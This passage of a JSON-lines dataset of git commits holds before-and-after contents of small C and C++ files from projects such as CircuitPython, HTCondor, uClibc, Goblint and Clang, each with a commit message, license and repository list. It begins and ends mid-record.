}\n}\n\nstatic inline void _PM_free_impl(void *ptr_in) {\n    supervisor_allocation *allocation = allocation_from_ptr(ptr_in);\n    \n    if (allocation) {\n        free_memory(allocation);\n    }\n}\n\n#endif\n","subject":"Use low end of supervisor heap","message":"protomatter: Use low end of supervisor heap\n\nPer @tannewt, this area \"sees more churn\", so it's probably the right\nchoice here\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/micropython"}
{"commit":"f7c992a59e005e2f555a75cc23c83948c856435a","old_file":"src\/writer\/verilog\/task.h","new_file":"src\/writer\/verilog\/task.h","old_contents":"\/\/ -*- C++ -*-\n#ifndef _writer_verilog_task_h_\n#define _writer_verilog_task_h_\n\n#include \"writer\/verilog\/resource.h\"\n\nnamespace iroha {\nnamespace writer {\nnamespace verilog {\n\nclass Task : public Resource {\npublic:\n  Task(const IResource &res, const Table &table);\n  virtual void BuildResource();\n  virtual void BuildInsn(IInsn *insn, State *st);\n  static bool IsTask(const Table &table);\n  static string TaskEnablePin(const ITable &tab, const ITable *caller);\n\n  static const int kTaskEntryStateId;\n\nprivate:\n  void BuildTaskResource();\n  void BuildTaskCallResource();\n  void BuildCallWire(IResource *caller);\n  void BuildTaskCallInsn(IInsn *insn, State *st);\n  void AddPort(const IModule *mod, IResource *caller);\n  void AddWire(const IModule *mod, IResource *caller);\n\n  static string TaskPinPrefix(const ITable &tab, const ITable *caller);\n  static string TaskAckPin(const ITable &tab, const ITable *caller);\n};\n\n}  \/\/ namespace verilog\n}  \/\/ namespace writer\n}  \/\/ namespace iroha\n\n#endif  \/\/ _writer_verilog_task_h_\n","new_contents":"\/\/ -*- C++ -*-\n#ifndef _writer_verilog_task_h_\n#define _writer_verilog_task_h_\n\n#include \"writer\/verilog\/resource.h\"\n\nnamespace iroha {\nnamespace writer {\nnamespace verilog {\n\nclass Task : public Resource {\npublic:\n  Task(const IResource &res, const Table &table);\n  virtual void BuildResource();\n  virtual void BuildInsn(IInsn *insn, State *st);\n  static bool IsTask(const Table &table);\n  static string TaskEnablePin(const ITable &tab, const ITable *caller);\n\n  static const int kTaskEntryStateId;\n\nprivate:\n  void BuildTaskResource();\n  void BuildTaskCallResource();\n  void BuildCallWire(IResource *caller);\n  void BuildTaskCallInsn(IInsn *insn, State *st);\n  void AddPort(const IModule *mod, IResource *caller, bool upward);\n  void AddWire(const IModule *mod, IResource *caller);\n\n  static string TaskPinPrefix(const ITable &tab, const ITable *caller);\n  static string TaskAckPin(const ITable &tab, const ITable *caller);\n};\n\n}  \/\/ namespace verilog\n}  \/\/ namespace writer\n}  \/\/ namespace iroha\n\n#endif  \/\/ _writer_verilog_task_h_\n","subject":"Fix a missed file in previous change.","message":"Fix a missed file in previous change.\n","lang":"C","license":"bsd-3-clause","repos":"nlsynth\/iroha,nlsynth\/iroha"}
{"commit":"6dfebcd2cca5a3e6cb7668c43ff30c4619026c75","old_file":"source\/crate_demo\/game_state_manager.h","new_file":"source\/crate_demo\/game_state_manager.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CRATE_DEMO_GAME_STATE_MANAGER_H\n#define CRATE_DEMO_GAME_STATE_MANAGER_H\n\n#include \"common\/game_state_manager_interface.h\"\n\n\nnamespace CrateDemo {\n\nclass GameStateManager : public Common::IGameStateManager {\npublic:\n\tGameStateManager();\n\nprivate:\n\npublic:\n\tbool Initialize();\n\tvoid Shutdown();\n\t\/**\n\t * Return the wanted period of time between update() calls.\n\t *\n\t * IE: If you want update to be called 20 times a second, this\n\t * should return 50.\n\t *\n\t * NOTE: This should probably be inlined.\n\t * NOTE: This will only be called at the beginning of HalflingEngine::Run()\n\t * TODO: Contemplate the cost\/benefit of calling this once per frame\n\t *\n\t * @return    The period in milliseconds\n\t *\/\n\tinline double GetUpdatePeriod() { return 30.0; }\n\t\/**\n\t * Called every time the game logic should be updated. The frequency\n\t * of this being called is determined by getUpdatePeriod()\n\t *\/\n\tvoid Update();\n\tvoid GamePaused();\n\tvoid GameUnpaused();\n};\n\n} \/\/ End of namespace CrateDemo\n\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef CRATE_DEMO_GAME_STATE_MANAGER_H\n#define CRATE_DEMO_GAME_STATE_MANAGER_H\n\n#include \"common\/game_state_manager_base.h\"\n\n\nnamespace CrateDemo {\n\nclass GameStateManager : public Common::GameStateManagerBase {\npublic:\n\tGameStateManager();\n\nprivate:\n\npublic:\n\tbool Initialize();\n\tvoid Shutdown();\n\t\/**\n\t * Return the wanted period of time between update() calls.\n\t *\n\t * IE: If you want update to be called 20 times a second, this\n\t * should return 50.\n\t *\n\t * NOTE: This should probably be inlined.\n\t * NOTE: This will only be called at the beginning of HalflingEngine::Run()\n\t * TODO: Contemplate the cost\/benefit of calling this once per frame\n\t *\n\t * @return    The period in milliseconds\n\t *\/\n\tinline double GetUpdatePeriod() { return 30.0; }\n\t\/**\n\t * Called every time the game logic should be updated. The frequency\n\t * of this being called is determined by getUpdatePeriod()\n\t *\/\n\tvoid Update();\n\tvoid GamePaused();\n\tvoid GameUnpaused();\n};\n\n} \/\/ End of namespace CrateDemo\n\n#endif\n","subject":"Update GameStateManager to use new base class name","message":"CRATE_DEMO: Update GameStateManager to use new base class name\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"7b10792bb24ef266527e67baa0c67e67687134a9","old_file":"Fibonacci\/C\/fibonacci.c","new_file":"Fibonacci\/C\/fibonacci.c","old_contents":"","new_contents":"#include <stdio.h>\nint i, v, num1 = 0, num2 = 1, temp;\n\nint main() {\n  \/\/ Enter here number of times fib number is calculated;\n  scanf(\"%d\", &v);\n  printf(\"Fibonacci numbers:\");\n  \n  for (i; i <= v; i++) {\n    \/\/ This prints fibonacci number;\n    printf(\"%d, \", num1);\n    \/\/ This calculates fibonacci number;\n    temp = num1 + num2;\n    num1 = num2;\n    num2 = temp;\n  }\n  return 0;\n}\n","subject":"Add Fibonacci algorithm in C","message":"Add Fibonacci algorithm in C","lang":"C","license":"apache-2.0","repos":"churrizo\/Algorithms_Example,xiroV\/Algorithms_Example,Thuva4\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,Thuva4\/Algorithms_Example,Astrophilic\/Algorithms_Example,xiroV\/Algorithms_Example,maazsq\/Algorithms_Example,AtoMc\/Algorithms_Example,maazsq\/Algorithms_Example,Astrophilic\/Algorithms_Example,pabe94\/Algorithms_Example,alok760\/Algorithms_Example,churrizo\/Algorithms_Example,AtoMc\/Algorithms_Example,Astrophilic\/Algorithms_Example,Anat-Port\/Algorithms_Example,AtoMc\/Algorithms_Example,Anat-Port\/Algorithms_Example,xiroV\/Algorithms_Example,Thuva4\/Algorithms_Example,Astrophilic\/Algorithms_Example,xiroV\/Algorithms_Example,Astrophilic\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,churrizo\/Algorithms_Example,pranjalrai\/Algorithms_Example,xiroV\/Algorithms_Example,AtoMc\/Algorithms_Example,AtoMc\/Algorithms_Example,Anat-Port\/Algorithms_Example,xiroV\/Algorithms_Example,alok760\/Algorithms_Example,Anat-Port\/Algorithms_Example,AtoMc\/Algorithms_Example,pranjalrai\/Algorithms_Example,churrizo\/Algorithms_Example,maazsq\/Algorithms_Example,alok760\/Algorithms_Example,churrizo\/Algorithms_Example,alok760\/Algorithms_Example,maazsq\/Algorithms_Example,alok760\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,Astrophilic\/Algorithms_Example,Anat-Port\/Algorithms_Example,alok760\/Algorithms_Example,churrizo\/Algorithms_Example,pranjalrai\/Algorithms_Example,AtoMc\/Algorithms_Example,xiroV\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,Thuva4\/Algorithms_Example,pranjalrai\/Algorithms_Example,Anat-Port\/Algorithms_Example,Thuva4\/Algorithms_Example,Anat-Port\/Algorithms_Example,alok760\/Algorithms_Example,Astrophilic\/Algorithms_Example,pranjalrai\/Algorithms_Example,maazsq\/Algorithms_Example,pabe94\/Algorithms_Example,Thuva4\/Algorithms_Example,AtoMc\/Algorithms_Example,AtoMc\/Algorithms_Example,churrizo\/Algorithms_Example,Anat-Port\/Algorithms_Example,pabe94\/Algorithms_Example,alok760\/Algorithms_Example,Astrophilic\/Algorithms_Example,maazsq\/Algorithms_Example,pabe94\/Algorithms_Example,Anat-Port\/Algorithms_Example,pranjalrai\/Algorithms_Example,Anat-Port\/Algorithms_Example,pabe94\/Algorithms_Example,Thuva4\/Algorithms_Example,AtoMc\/Algorithms_Example,pranjalrai\/Algorithms_Example,Thuva4\/Algorithms_Example,pabe94\/Algorithms_Example,xiroV\/Algorithms_Example,pabe94\/Algorithms_Example,xiroV\/Algorithms_Example,maazsq\/Algorithms_Example,AtoMc\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,pabe94\/Algorithms_Example,Thuva4\/Algorithms_Example,churrizo\/Algorithms_Example,Thuva4\/Algorithms_Example,alok760\/Algorithms_Example,pranjalrai\/Algorithms_Example,maazsq\/Algorithms_Example,alok760\/Algorithms_Example,maazsq\/Algorithms_Example,churrizo\/Algorithms_Example,Thuva4\/Algorithms_Example,pranjalrai\/Algorithms_Example,churrizo\/Algorithms_Example,pranjalrai\/Algorithms_Example,maazsq\/Algorithms_Example,Anat-Port\/Algorithms_Example,xiroV\/Algorithms_Example,pabe94\/Algorithms_Example,Astrophilic\/Algorithms_Example,AtoMc\/Algorithms_Example,alok760\/Algorithms_Example,Thuva4\/Algorithms_Example,xiroV\/Algorithms_Example,r-o-k-u-r-o-u\/Algorithms_Example,maazsq\/Algorithms_Example,pabe94\/Algorithms_Example,Astrophilic\/Algorithms_Example,alok760\/Algorithms_Example,Astrophilic\/Algorithms_Example,pranjalrai\/Algorithms_Example,churrizo\/Algorithms_Example,maazsq\/Algorithms_Example,churrizo\/Algorithms_Example,pabe94\/Algorithms_Example"}
{"commit":"0c14a2dfdbcc90865ad17d44dbd578a9d2b6b945","old_file":"opendatacon\/DaemonInterface.h","new_file":"opendatacon\/DaemonInterface.h","old_contents":"","new_contents":"\/*\topendatacon\n*\n*\tCopyright (c) 2015:\n*\n*\t\tDCrip3fJguWgVCLrZFfA7sIGgvx1Ou3fHfCxnrz4svAi\n*\t\tyxeOtDhDCXf1Z4ApgXvX5ahqQmzRfJ2DoX8S05SqHA==\n*\n*\tLicensed under the Apache License, Version 2.0 (the \"License\");\n*\tyou may not use this file except in compliance with the License.\n*\tYou may obtain a copy of the License at\n*\n*\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*\tUnless required by applicable law or agreed to in writing, software\n*\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n*\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*\tSee the License for the specific language governing permissions and\n*\tlimitations under the License.\n*\/\n#ifndef DAEMONWRAPPER_H\n#define DAEMONWRAPPER_H\n\nvoid daemonp();\nvoid daemon_install();\nvoid daemon_remove();\n\n#endif","subject":"Add actual code to interface","message":"Add actual code to interface\n","lang":"C","license":"apache-2.0","repos":"neilstephens\/opendatacon,neilstephens\/opendatacon,neilstephens\/opendatacon,neilstephens\/opendatacon,neilstephens\/opendatacon,neilstephens\/opendatacon,neilstephens\/opendatacon"}
{"commit":"f61acc197adfc2a6c69f9da6e5f33036a502983e","old_file":"src\/condor_ckpt\/fcntl.h","new_file":"src\/condor_ckpt\/fcntl.h","old_contents":"#if defined(__cplusplus) && !defined(OSF1)\t\/* GNU G++ *\/\n#\tinclude \"fix_gnu_fcntl.h\"\n#elif defined(AIX32)\t\t\t\t\t\t\/* AIX bsdcc *\/\n\ttypedef unsigned short ushort;\n#\tinclude <fcntl.h>\n#elif defined(HPUX9)\t\t\t\t\t\t\/* HPUX 9 *\/\n#\tdefine fcntl __condor_hide_fcntl\n#\tinclude <fcntl.h>\n#\tundef fcntl\n\tint fcntl( int fd, int req, int arg );\n#else\t\t\t\t\t\t\t\t\t\t\/* Everybody else *\/\n#\tinclude <fcntl.h>\n#endif\n","new_contents":"#if defined(__cplusplus) && !defined(OSF1)\t\/* GNU G++ *\/\n#\tinclude \"fix_gnu_fcntl.h\"\n#elif defined(AIX32)\t\t\t\t\t\t\/* AIX bsdcc *\/\n#\tif !defined(_ALL_SOURCE)\n\t\ttypedef ushort_t    ushort;\n#\tendif\n#\tinclude <fcntl.h>\n#elif defined(HPUX9)\t\t\t\t\t\t\/* HPUX 9 *\/\n#\tdefine fcntl __condor_hide_fcntl\n#\tinclude <fcntl.h>\n#\tundef fcntl\n\tint fcntl( int fd, int req, int arg );\n#else\t\t\t\t\t\t\t\t\t\t\/* Everybody else *\/\n#\tinclude <fcntl.h>\n#endif\n","subject":"Make sure that for AIX 3.2 we get ushort defined when we need it, but not doubly defined...","message":"Make sure that for AIX 3.2 we get ushort defined when we need it, but\nnot doubly defined...\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,djw8605\/condor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/condor,htcondor\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,htcondor\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,neurodebian\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,djw8605\/condor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,djw8605\/condor"}
{"commit":"c584028875926b3a193e480e16bfc19b1c613438","old_file":"turing.h","new_file":"turing.h","old_contents":"#ifndef TURING_H_\n#define TURING_H_\n\n#define TAPE_LEN 1024\n\n#define turing_error(...) fprintf(stderr, __VA_ARGS__);\\\n    return TURING_ERROR\n\ntypedef int bool;\n\ntypedef enum {\n    TURING_OK,\n    TURING_HALT,\n    TURING_ERROR\n} turing_status_t;\n\ntypedef struct Turing {\n    bool *tape;\n    bool *p;\n} Turing;\n\nTuring *init_turing();\nvoid free_turing(Turing *turing);\nturing_status_t move_head(Turing *turing, int direction);\n\nturing_status_t execute_instruction(Turing *turing, char *program);\nturing_status_t execute_definite_instruction(Turing *turing, char *program);\n\n#endif \/\/  TURING_H_\n","new_contents":"#ifndef TURING_H_\n#define TURING_H_\n\n#define TAPE_LEN 1024\n\n#define turing_error(...) fprintf(stderr, __VA_ARGS__);\\\n    return TURING_ERROR\n#define move_head_left(t) move_head(t, 0)\n#define move_head_right(t) move_head(t, 1)\n\ntypedef int bool;\n\ntypedef enum {\n    TURING_OK,\n    TURING_HALT,\n    TURING_ERROR\n} turing_status_t;\n\ntypedef struct Turing {\n    bool *tape;\n    bool *p;\n} Turing;\n\nTuring *init_turing();\nvoid free_turing(Turing *turing);\nturing_status_t move_head(Turing *turing, int direction);\n\nturing_status_t execute_instruction(Turing *turing, char *program);\nturing_status_t execute_definite_instruction(Turing *turing, char *program);\n\n#endif \/\/  TURING_H_\n","subject":"Implement left and right macros","message":"Implement left and right macros\n","lang":"C","license":"mit","repos":"mindriot101\/turing-machine"}
{"commit":"09bb0bf7b1a23d056db347286539611f38145da7","old_file":"Plugin\/CppApi\/include\/ArcGISRuntimeToolkit.h","new_file":"Plugin\/CppApi\/include\/ArcGISRuntimeToolkit.h","old_contents":"\/\/ Copyright 2016 ESRI\n\/\/\n\/\/ All rights reserved under the copyright laws of the United States\n\/\/ and applicable international laws, treaties, and conventions.\n\/\/\n\/\/ You may freely redistribute and use this sample code, with or\n\/\/ without modification, provided you include the original copyright\n\/\/ notice and use restrictions.\n\/\/\n\/\/ See the Sample code usage restrictions document for further information.\n\/\/\n\n#ifndef ArcGISRuntimeToolkit_H\n#define ArcGISRuntimeToolkit_H\n\n#include <QQmlExtensionPlugin>\n#include \"ToolkitCommon.h\"\n\nnamespace Esri\n{\nnamespace ArcGISRuntime\n{\nnamespace Toolkit\n{\n\nclass TOOLKIT_EXPORT ArcGISRuntimeToolkit : public QQmlExtensionPlugin\n{\n  Q_OBJECT\n  Q_PLUGIN_METADATA(IID QQmlExtensionInterface_iid)\n\npublic:\n  explicit ArcGISRuntimeToolkit(QObject* parent = nullptr);\n\n  void registerTypes(const char* uri);\n\n  static void registerToolkitTypes(const char* uri = \"Esri.ArcGISRuntime.Toolkit.CppApi\");\n\nprivate:\n  static constexpr int s_versionMajor = 100;\n  static constexpr int s_versionMinor = 2;\n};\n\n} \/\/ Toolkit\n} \/\/ ArcGISRuntime\n} \/\/ Esri\n\n#endif \/\/ ArcGISRuntimeToolkit_H\n","new_contents":"\/\/ Copyright 2016 ESRI\n\/\/\n\/\/ All rights reserved under the copyright laws of the United States\n\/\/ and applicable international laws, treaties, and conventions.\n\/\/\n\/\/ You may freely redistribute and use this sample code, with or\n\/\/ without modification, provided you include the original copyright\n\/\/ notice and use restrictions.\n\/\/\n\/\/ See the Sample code usage restrictions document for further information.\n\/\/\n\n#ifndef ArcGISRuntimeToolkit_H\n#define ArcGISRuntimeToolkit_H\n\n#include <QQmlExtensionPlugin>\n#include \"ToolkitCommon.h\"\n\nnamespace Esri\n{\nnamespace ArcGISRuntime\n{\nnamespace Toolkit\n{\n\nclass TOOLKIT_EXPORT ArcGISRuntimeToolkit : public QQmlExtensionPlugin\n{\n  Q_OBJECT\n  Q_PLUGIN_METADATA(IID QQmlExtensionInterface_iid)\n\npublic:\n  explicit ArcGISRuntimeToolkit(QObject* parent = nullptr);\n\n  void registerTypes(const char* uri);\n\n  static void registerToolkitTypes(const char* uri = \"Esri.ArcGISRuntime.Toolkit.CppApi\");\n\nprivate:\n  static constexpr int s_versionMajor = 100;\n  static constexpr int s_versionMinor = 3;\n};\n\n} \/\/ Toolkit\n} \/\/ ArcGISRuntime\n} \/\/ Esri\n\n#endif \/\/ ArcGISRuntimeToolkit_H\n","subject":"Update registration version for 100.3","message":"Update registration version for 100.3\n","lang":"C","license":"apache-2.0","repos":"Esri\/arcgis-runtime-toolkit-qt,Esri\/arcgis-runtime-toolkit-qt,Esri\/arcgis-runtime-toolkit-qt"}
{"commit":"4ca8b01f499f2c3a72191e6eb89a7790cf8af7ef","old_file":"src\/tests\/enesim_test_renderer_error.c","new_file":"src\/tests\/enesim_test_renderer_error.c","old_contents":"#include \"Enesim.h\"\n\nint main(int argc, char **argv)\n{\n\tEnesim_Renderer *r;\n\tEnesim_Surface *s;\n\tEnesim_Log *error = NULL;\n\n\tenesim_init();\n\tr = enesim_renderer_rectangle_new();\n\tenesim_renderer_shape_fill_color_set(r, 0xffffffff);\n\t\/* we dont set any property to force the error *\/\n\n\ts = enesim_surface_new(ENESIM_FORMAT_ARGB8888, 320, 240);\n\n\tif (!enesim_renderer_draw(r, s, ENESIM_ROP_FILL, NULL, 0, 0, &error))\n\t{\n\t\tenesim_log_dump(error);\n\t\tenesim_log_delete(error);\n\t}\n\n\tenesim_shutdown();\n\n\treturn 0;\n}\n\n","new_contents":"#include \"Enesim.h\"\n\nint main(int argc, char **argv)\n{\n\tEnesim_Renderer *r;\n\tEnesim_Surface *s;\n\tEnesim_Log *error = NULL;\n\n\tenesim_init();\n\tr = enesim_renderer_rectangle_new();\n\tenesim_renderer_shape_fill_color_set(r, 0xffffffff);\n\t\/* we dont set any property to force the error *\/\n\n\ts = enesim_surface_new(ENESIM_FORMAT_ARGB8888, 320, 240);\n\n\tif (!enesim_renderer_draw(r, s, ENESIM_ROP_FILL, NULL, 0, 0, &error))\n\t{\n\t\tenesim_log_dump(error);\n\t\tenesim_log_unref(error);\n\t}\n\n\tenesim_shutdown();\n\n\treturn 0;\n}\n\n","subject":"Use the new log API","message":"Use the new log API\n","lang":"C","license":"lgpl-2.1","repos":"turran\/enesim,turran\/enesim,turran\/enesim,turran\/enesim"}
{"commit":"645c521a70c3d06118c93002fa7dd0af103e1524","old_file":"project\/src\/concurrentqueue.h","new_file":"project\/src\/concurrentqueue.h","old_contents":"","new_contents":"#include <mutex>\n#include <deque>\n\n#ifndef SRC_CONCURRENT_QUEUE_H\n#define SRC_CONCURRENT_QUEUE_H\n\n\/* Concurrent queue\n * so far just make sure it is consisten, no performance optimizations\n * but interface should be general enought to replace queue with faster one\n *\/\n\ntemplate< typename T >\nstruct ConcurrentQueue {\n\n    void enqueue( const T &data ) {\n        Guard g{ _lock };\n        _queue.push_back( data );\n        g.unlock();\n        _cond.notify_one();\n    }\n\n    \/** get and pop head of queue, this will block if queue is empty\n     *\/\n    T dequeue() {\n        Guard g{ _lock };\n        while ( _queue.empty() )\n            _cond.wait( g );\n        T data = _queue.front();\n        _queue.pop_front();\n        return data;\n    }\n\n    \/** not safe\n     *\/\n    bool empty() {\n        Guard g{ _lock };\n        return _queue.empty();\n    }\n\n  private:\n    std::mutex _lock;\n    std::deque< T > _queue;\n    std::condition_variable _cond;\n    using Guard = std::unique_lock< std::mutex >;\n};\n\n#endif \/\/ SRC_CONCURRENT_QUEUE_H\n","subject":"Add (prototype of) concurrent queue.","message":"project: Add (prototype of) concurrent queue.\n","lang":"C","license":"mit","repos":"vlstill\/ttk4145,vlstill\/ttk4145,vlstill\/ttk4145,vlstill\/ttk4145,superboy0712\/realtime,superboy0712\/realtime,vlstill\/ttk4145,superboy0712\/realtime,superboy0712\/realtime,superboy0712\/realtime,superboy0712\/realtime,vlstill\/ttk4145"}
{"commit":"41d07a68c0a5cfed255d3ad628d0d41687ca00df","old_file":"tests\/regression\/04-mutex\/37-indirect_rc.c","new_file":"tests\/regression\/04-mutex\/37-indirect_rc.c","old_contents":"#include <pthread.h>\n\nint g;\nint *g1;\nint *g2;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex);\n  (*g1)++; \/\/ RACE!\n  pthread_mutex_lock(&mutex);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  int x;\n  g1 = g2 = &g;\n\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  (*g2)++; \/\/ RACE!\n\n  pthread_join (id, NULL);\n  return 0;\n}\n","new_contents":"#include <pthread.h>\n\nint g;\nint *g1;\nint *g2;\npthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&mutex);\n  (*g1)++; \/\/ RACE!\n  pthread_mutex_unlock(&mutex);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  int x;\n  g1 = g2 = &g;\n\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  (*g2)++; \/\/ RACE!\n\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Fix lock-unlock copy-paste mistake in 04\/37","message":"Fix lock-unlock copy-paste mistake in 04\/37\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c7ee376f947ec1d3e81d49e2c4a81adf1c292c1d","old_file":"libc\/sysdeps\/linux\/common\/getrusage.c","new_file":"libc\/sysdeps\/linux\/common\/getrusage.c","old_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getrusage() for uClibc\n *\n * Copyright (C) 2000-2004 by Erik Andersen <andersen@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n#include <wait.h>\n_syscall2(int, getrusage, int, who, struct rusage *, usage);\n","new_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getrusage() for uClibc\n *\n * Copyright (C) 2000-2004 by Erik Andersen <andersen@codepoet.org>\n *\n * GNU Library General Public License (LGPL) version 2 or later.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n#include <wait.h>\n_syscall2(int, getrusage, __rusage_who_t, who, struct rusage *, usage);\n","subject":"Correct type, gcc-3.4.5 fails, thanks nitinkg for reporting\/testing","message":"Correct type, gcc-3.4.5 fails, thanks nitinkg for reporting\/testing\n","lang":"C","license":"lgpl-2.1","repos":"foss-for-synopsys-dwc-arc-processors\/uClibc,ChickenRunjyd\/klee-uclibc,ysat0\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,ChickenRunjyd\/klee-uclibc,ysat0\/uClibc,kraj\/uClibc,ndmsystems\/uClibc,wbx-github\/uclibc-ng,majek\/uclibc-vx32,hjl-tools\/uClibc,mephi42\/uClibc,hwoarang\/uClibc,ndmsystems\/uClibc,czankel\/xtensa-uclibc,hwoarang\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ChickenRunjyd\/klee-uclibc,hwoarang\/uClibc,hjl-tools\/uClibc,atgreen\/uClibc-moxie,ffainelli\/uClibc,ddcc\/klee-uclibc-0.9.33.2,hwoarang\/uClibc,kraj\/uclibc-ng,czankel\/xtensa-uclibc,waweber\/uclibc-clang,klee\/klee-uclibc,foss-xtensa\/uClibc,ffainelli\/uClibc,groundwater\/uClibc,foss-xtensa\/uClibc,kraj\/uClibc,skristiansson\/uClibc-or1k,kraj\/uclibc-ng,wbx-github\/uclibc-ng,waweber\/uclibc-clang,foss-xtensa\/uClibc,skristiansson\/uClibc-or1k,gittup\/uClibc,atgreen\/uClibc-moxie,ysat0\/uClibc,hjl-tools\/uClibc,wbx-github\/uclibc-ng,kraj\/uClibc,klee\/klee-uclibc,klee\/klee-uclibc,hjl-tools\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ddcc\/klee-uclibc-0.9.33.2,kraj\/uclibc-ng,majek\/uclibc-vx32,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,m-labs\/uclibc-lm32,ndmsystems\/uClibc,majek\/uclibc-vx32,groundwater\/uClibc,mephi42\/uClibc,brgl\/uclibc-ng,groundwater\/uClibc,kraj\/uclibc-ng,gittup\/uClibc,atgreen\/uClibc-moxie,czankel\/xtensa-uclibc,m-labs\/uclibc-lm32,ddcc\/klee-uclibc-0.9.33.2,hjl-tools\/uClibc,kraj\/uClibc,waweber\/uclibc-clang,brgl\/uclibc-ng,groundwater\/uClibc,m-labs\/uclibc-lm32,waweber\/uclibc-clang,ffainelli\/uClibc,ffainelli\/uClibc,foss-xtensa\/uClibc,OpenInkpot-archive\/iplinux-uclibc,czankel\/xtensa-uclibc,gittup\/uClibc,brgl\/uclibc-ng,gittup\/uClibc,skristiansson\/uClibc-or1k,m-labs\/uclibc-lm32,foss-for-synopsys-dwc-arc-processors\/uClibc,skristiansson\/uClibc-or1k,atgreen\/uClibc-moxie,majek\/uclibc-vx32,groundwater\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ChickenRunjyd\/klee-uclibc,ddcc\/klee-uclibc-0.9.33.2,ysat0\/uClibc,klee\/klee-uclibc,wbx-github\/uclibc-ng,mephi42\/uClibc,ndmsystems\/uClibc,mephi42\/uClibc"}
{"commit":"76ea7e35cc30ffe119cfe0b7ce2397ca4cb7a88a","old_file":"test\/CodeGen\/stack-size-section.c","new_file":"test\/CodeGen\/stack-size-section.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown %s -S -o - | FileCheck %s --check-prefix=CHECK-ABSENT\n\/\/ CHECK-ABSENT-NOT: section .stack_sizes\n\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -fstack-size-section %s -S -o - | FileCheck %s --check-prefix=CHECK-PRESENT\n\/\/ CHECK-PRESENT: section .stack_sizes\n\nint foo() { return 42; }\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown %s -S -o - | FileCheck %s --check-prefix=CHECK-ABSENT\n\/\/ CHECK-ABSENT-NOT: section .stack_sizes\n\n\/\/ RUN: %clang_cc1 -triple x86_64-unknown-unknown -fstack-size-section %s -S -o - | FileCheck %s --check-prefix=CHECK-PRESENT\n\/\/ CHECK-PRESENT: section .stack_sizes\n\nint foo() { return 42; }\n","subject":"Fix test added in r321992 failing on some buildbots (again), test requires x86.","message":"Fix test added in r321992 failing on some buildbots (again), test requires x86.\n\ngit-svn-id: 